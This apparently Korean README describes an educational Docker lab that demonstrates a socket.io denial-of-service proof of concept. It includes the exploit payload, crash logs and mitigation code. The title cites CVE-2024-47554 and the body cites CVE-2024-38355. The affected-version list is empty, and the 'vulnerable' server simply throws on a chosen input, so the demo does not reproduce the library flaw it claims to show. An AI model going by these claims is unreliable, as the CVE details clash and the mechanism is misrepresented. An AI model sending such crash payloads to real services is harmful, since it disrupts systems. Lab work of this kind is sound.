
CVE-2024-47554 개념 증명
이 프로젝트는 socket.io의 서비스 거부(DoS) 취약점인 CVE-2024-38355를 시연하는 개념 증명(PoC)입니다. 이 프로젝트는 공격 메커니즘과 애플리케이션 보호 방법을 보여주기 위해 교육 목적으로 제작되었습니다.
이 취약점은 다음 socket.io 버전에 영향을 줍니다:
특수하게 조작된 Socket.IO 패킷이 서버에서 포착되지 않은 예외(uncaught exception)를 발생시켜 Node.js 프로세스를 충돌시킬 수 있습니다. 이로 인해 서비스 거부(DoS) 공격이 발생합니다.
작동 방식:
주요 요인:
error 이벤트 리스너가 없음프로젝트는 두 개의 Docker 컨테이너로 구성됩니다:
[email protected]을 사용하는 Node.js 서버입니다. 악성 데이터를 수신할 때 포착되지 않은 예외를 발생시킬 수 있는 이벤트 핸들러가 있습니다.또는 다음이 필요합니다:
프로젝트 루트 디렉터리에서 터미널을 열고 다음을 실행합니다:
docker-compose down
docker-compose build --no-cache
docker-compose up
이렇게 하면:
터미널 1 - 서버 시작:
cd server
npm install
npm start
터미널 2 - 익스플로잇 실행:
cd exploit
npm install
npm start
서버 로그:
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
throw new Error('Uncaught exception triggered by malicious packet');
익스플로잇 로그:
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...
[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}
[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).
[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error
Ctrl+C를 누르거나 다음을 실행합니다:
docker-compose down
server/index.js)socket.on('process_data', (data) => {
// VULNERABLE: No try-catch, no error handler on socket
if (data && data.trigger === 'crash') {
throw new Error('Uncaught exception'); // Crashes the process!
}
});
exploit/exploit.js)// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });
이 취약점으로부터 애플리케이션을 보호하려면:
**socket.io**를 버전 4.6.2 이상으로 업데이트합니다 (수정 버전은 기본 noop 오류 처리기를 추가합니다).
소켓에 항상 오류 처리기를 연결합니다:
socket.on('error', (err) => {
console.error('Socket error:', err);
// Handle gracefully, don't let it crash the server
});
이벤트 핸들러를 try-catch로 감쌉니다:
socket.on('process_data', (data) => {
try {
// Process data safely
} catch (err) {
console.error('Error processing data:', err);
socket.emit('error_response', { message: 'Invalid data' });
}
});
전역 포착되지 않은 예외 처리기를 추가합니다 (최후의 수단):
process.on('uncaughtException', (err) => {
console.error('Uncaught Exception:', err);
// Log and gracefully shutdown
});
교육 목적으로 제작된 프로젝트입니다.